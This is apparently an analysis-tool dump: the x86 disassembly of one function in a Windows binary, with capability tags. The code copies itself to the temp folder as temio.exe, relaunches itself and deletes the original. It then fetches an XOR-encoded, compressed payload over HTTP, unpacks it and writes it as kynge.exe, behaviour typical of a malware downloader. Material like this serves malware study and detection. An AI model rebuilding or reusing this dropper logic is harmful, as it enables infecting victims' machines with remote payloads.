Function at 0x81020
Capabilities:
Compress data via winapi
Connect to http server
Create http request
Create process on windows
Delete file
Download and write a file
Encode data using xor
Get common file path
Get file size
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Send data
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x834
push ebx
push ebp
push esi
xor esi, esi
push edi
push esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push 0x100000
push esi
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov ebp, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, 0x2000
push ebx
push 8
push eax
mov dword [esp + 0x30], eax
call ebp
push ebx
push 8
push dword [esp + 0x2c]
mov edi, eax
call ebp
push ebx
push edi
push esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebp
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.temio.exe
push ebp
push 0x8214c
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
jne 0x810c2
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x834
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push edi
mov dword [esp + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebx + eax*2 + 4]
push eax
push 8
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
cmp ebx, esi
jne 0x810f6
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x1c]
push ebx
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x811ad
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
mov eax, dword [esp + 0x18]
push edi
add eax, ebx
push eax
call section..text
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x810b4
push esi
lea eax, [esp + 0x2c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x1c]
lea eax, [ecx + eax*2 + 4]
push eax
push ebx
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [esp + 0x18]
call ebx
push edi
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
push edi
push esi
push ebp
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
jmp 0x810f0
mov eax, dword [ebx + 0x3c]
push dword [esp + 0x10]
add eax, ebx
movzx ecx, word [eax + 6]
imul ecx, ecx, 0x28
lea eax, [ecx + eax + 0xd0]
mov edi, dword [eax + 0x14]
add edi, dword [eax + 0x10]
add edi, ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x811f2
inc dword [esp + 0x1c]
push 1
push 0x64
call dword [sym.imp.KERNEL32.dll_SleepEx]
cmp dword [esp + 0x1c], 0xbb8
jg 0x811f9
push edi
call ebx
test eax, eax
je 0x811da
push esi
push esi
push esi
push esi
push str.Peers12
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esp + 0x30], eax
cmp eax, esi
je 0x810b4
or dword [esp + 0x10], 0xffffffff
mov dword [esp + 0x34], str.text_
mov dword [esp + 0x38], str.application_
mov dword [esp + 0x3c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x14], esi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 1
jle 0x8124e
push 1
push 0xa
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_SleepEx]
cmp dword [esp + 0x20], esi
je 0x8125e
push dword [esp + 0x20]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [esp + 0x14], esi
je 0x81272
push dword [esp + 0x14]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [esp + 0x14], esi
xor ebx, ebx
mov eax, dword [esp + 0x10]
push esi
push esi
push 3
push esi
push esi
push 0x50
push dword [eax*4 + section..data]
push dword [esp + 0x4c]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov edi, eax
mov dword [esp + 0x20], edi
cmp edi, esi
jne 0x812a3
inc ebx
cmp ebx, 3
jl 0x81274
jmp 0x81235
xor ebp, ebp
push esi
push 0x80000000
lea eax, [esp + 0x3c]
push eax
mov eax, dword [esp + 0x1c]
push esi
push esi
push dword [eax*4 + 0x83008]
push esi
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov ebx, eax
mov dword [esp + 0x14], ebx
cmp ebx, esi
jne 0x812da
inc ebp
cmp ebp, 3
jl 0x812a5
jmp 0x81235
xor edi, edi
push esi
push esi
push esi
push esi
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x812f1
inc edi
cmp edi, 2
jl 0x812dc
cmp edi, 2
je 0x81235
mov ebx, dword [esp + 0x18]
cmp ebx, esi
jne 0x81321
push 0xdbba0
push 8
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esp + 0x18], eax
cmp eax, esi
je 0x810b4
mov ebx, eax
mov dword [esp + 0x28], esi
mov ebp, 0xdbba0
mov dword [esp + 0x1c], esi
lea eax, [esp + 0x28]
push eax
push ebp
mov edi, ebx
push ebx
jmp 0x8134c
mov eax, dword [esp + 0x28]
add edi, eax
sub ebp, eax
cmp eax, esi
je 0x8135a
lea eax, [esp + 0x28]
push eax
push ebp
push edi
push dword [esp + 0x20]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x81339
mov eax, edi
sub eax, ebx
cmp eax, 0x7d0
jg 0x81370
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 0x14
jl 0x8132e
cmp dword [esp + 0x1c], 0x14
je 0x81235
sub edi, ebx
mov ebp, edi
shl ebp, 2
push ebp
push 8
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esp + 0x18], eax
cmp eax, esi
je 0x810b4
mov dword [esp + 0x2c], edi
cmp byte [ebx], 0x4d
jne 0x813ae
cmp byte [ebx + 1], 0x5a
je 0x8142f
mov eax, dword [esp + 0x10]
mov edx, dword [eax*4 + 0x83010]
xor eax, eax
mov ecx, edi
inc eax
shr ecx, 2
cmp ecx, eax
jbe 0x813cd
xor dword [ebx + eax*4], edx
inc eax
cmp eax, ecx
jb 0x813c5
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0x20], eax
cmp eax, esi
je 0x810b4
push str.RtlDecompressBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x83018], eax
cmp eax, esi
jne 0x81408
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x810b4
lea ecx, [esp + 0x2c]
push ecx
add edi, 0xfffffffc
push edi
add ebx, 4
push ebx
push ebp
push dword [esp + 0x28]
mov dword [esp + 0x40], esi
push 0x102
call eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
mov ebp, str.kynge.exe
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
mov edi, eax
lea eax, [esp + 0x44]
push eax
push dword [esp + 0x34]
push dword [esp + 0x24]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push dword [esp + 0x2c]
call edi
push ebx
push esi
push dword [esp + 0x2c]
call edi
lea eax, [esp + 0x44]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebp
lea eax, [esp + 0x48]
push eax
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
push esi
push esi
lea eax, [esp + 0x50]
push eax
jmp 0x8119b